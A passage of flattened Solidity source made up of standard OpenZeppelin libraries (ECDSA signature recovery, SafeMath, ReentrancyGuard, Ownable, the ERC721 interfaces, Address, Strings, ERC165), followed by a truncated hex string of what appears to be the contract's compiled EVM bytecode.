(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | 0x6080604052600436106101b95760003560e01c80638bc35c2f116100ed578063c1a0687611610090578063c1a06876146104c1578063c87b56dd146104d6578063cdaaab2b146104f6578063dc33e68114610509578063e542111014610529578063e985e9c514610549578063eb91d37e14610592578063f2701c56146105a7578063f2fde38b146105c757600080fd5b80638bc35c2f146103df5780638da5cb5b1461041357806395d89b4114610428578063a22cb4651461043d578063a2309ff81461045d578063ac44600214610472578063b88d4fde14610487578063bc8893b4146104a757600080fd5b80633610724e116101605780633610724e146102ec57806342842e0e146102ff57806355f804b31461031f5780635ab6f62e1461033f5780636352211e1461035557806370a0823114610375578063715018a6146103955780637ff9b596146103aa57806384494708146103c057600080fd5b806301ffc9a7146101be57806306fdde03146101f3578063081812fc14610215578063095ea7b31461024d57806318160ddd1461026f57806323b872dd14610296578063262a0688146102b65780632ab60469146102cc575b600080fd5b3480156101ca57600080fd5b506101de6101d93660046122e3565b6105e7565b60405190151581526020015b60405180910390f35b3480156101ff57600080fd5b50610208610639565b6040516101ea91906124e5565b34801561022157600080fd5b5061023561023036600461235e565b6106cb565b6040516001600160a01b0390911681526020016101ea565b34801561025957600080fd5b5061026d610268366004612200565b61070f565b005b34801561027b57600080fd5b5060025460015403600019015b6040519081526020016101ea565b3480156102a257600080fd5b5061026d6102b13660046120c9565b61079d565b3480156102c257600080fd5b50610288600e5481565b3480156102d857600080fd5b5061026d6102e736600461207b565b6107a8565b61026d6102fa36600461235e565b610802565b34801561030b57600080fd5b5061026d61031a3660046120c9565b61099b565b34801561032b57600080fd5b5061026d61033a36600461231d565b6109b6565b34801561034b57600080fd5b50610288600d5481565b34801561036157600080fd5b5061023561037036600461235e565b6109f1565b34801561038157600080fd5b5061028861039036600461207b565b610a03565b3480156103a157600080fd5b5061026d610a51565b3480156103b657600080fd5b50610288600c5481565b3480156103cc57600080fd5b50600f546101de90610100900460ff1681565b3480156103eb57600080fd5b506102887f000000000000000000000000000000000000000000000000000000000000000a81565b34801561041f57600080fd5b50610235610a8c565b34801561043457600080fd5b50610208610a9b565b34801561044957600080fd5b5061026d6104583660046121c4565b610aaa565b34801561046957600080fd5b50610288610b40565b34801561047e57600080fd5b5061026d610b54565b34801561049357600080fd5b5061026d6104a2366004612105565b610c6e565b3480156104b357600080fd5b50600f546101de9060ff1681565b3480156104cd57600080fd5b5061026d610cbf565b3480156104e257600080fd5b506102086104f136600461235e565b610d1a565b61026d610504366004612377565b610dea565b34801561051557600080fd5b5061028861052436600461207b565b611059565b34801561053557600080fd5b5061026d61054436600461222a565b611064565b34801561055557600080fd5b506101de610564366004612096565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205460ff1690565b34801561059e57600080fd5b506102886111a0565b3480156105b357600080fd5b5061026d6105c236600461235e565b6111c1565b3480156105d357600080fd5b5061026d6105e236600461207b565b61126a565b60006001600160e01b031982166380ac58cd60e01b148061061857506001600160e01b03198216635b5e139f60e01b145b8061063357506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600380546106489061270e565b80601f01602080910402602001604051908101604052809291908181526020018280546106749061270e565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d682611307565b6106f3576040516333d1c03960e21b815260040160405180910390fd5b506000908152600760205260409020546001600160a01b031690565b600061071a826109f1565b9050806001600160a01b0316836001600160a01b0316141561074f5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b0382161480159061076f575061076d8133610564565b155b1561078d576040516367d9dca160e11b815260040160405180910390fd5b610798838383611340565b505050565b61079883838361139c565b336107b1610a8c565b6001600160a01b0